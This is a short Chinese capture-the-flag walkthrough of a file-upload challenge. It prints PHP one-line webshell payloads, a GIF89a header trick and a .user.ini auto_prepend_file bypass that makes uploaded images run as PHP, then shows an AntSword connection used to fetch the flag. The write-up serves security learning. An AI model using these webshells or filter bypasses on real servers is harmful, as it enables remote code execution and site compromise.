- 2023.6.10 又试了一下 他好像会检测php字段,所以一开始的aaa.jpg怎么也传不上去,用a.jpg那种就可以了
- 根据题目和页面我们可以猜到这应该是一个利用文件上传漏洞,利用一句话木马来获取服务器上保存的flag
- 保险起见右键查看源代码
- 可以发现毫无用处
- 那么我们接下来开始试一下上传一句话木马
- 上传eval.php
<?php @eval($_REQUEST['a']); ?>
- 可以看出他是有检测机制的,那我们再试试把拓展名改成eval.jpg
- 依旧不行,那我们再试着给他添加一个文件头,看看文件包含漏洞可不可以实现
GIF89a
<?php @eval($_REQUEST['a']); ?>
- 那我们打开burp,修改他的Content-Type字段为jpg
- 还是不行,那么,就只好去baidu了
- 然后我就搜到了一个东西叫做.user.ini,具体啥用呢,点这里看原文章。
- .user.ini是一个很好用的漏洞,只要是以fastcgi运行的php都可以用这个方法。
- 我对于这个ini的理解就是,他能帮我执行我写在他“auto_prepend_file=”后面的文件,不会被干掉。
- 那么我们就在这道题里试一下。
- 先写一个.user.ini文件
GIF89a
auto_prepend_file=eval.jpg
- 然后我们上传他试试,不要忘记用不然burp修改他的content-type为image/jpg
- 非常开心的发现上传成功了
- 我们再试着上传eval.jpg,发现依旧不成功,很困惑。然后我又去baidu了一下,得到了一个新木马,命名为a.jpg,记得修改前面.user.ini中的文件名!!!
GIF89a
<?=eval($_POST['cmd']);?>
- 成功了!
- 然后拿出我们的中国蚁剑(百度一下安装使用教程,GitHub上下载)。
- F12查看一下文件被上传的哪里去了
- 然后右键添加数据,输入地址和密码就可以连到他了
- 点击左上角添加后双击打开,然后再找到根目录,就能找到一个文件叫flag,右键下载就可以了
知识点:文件上传漏洞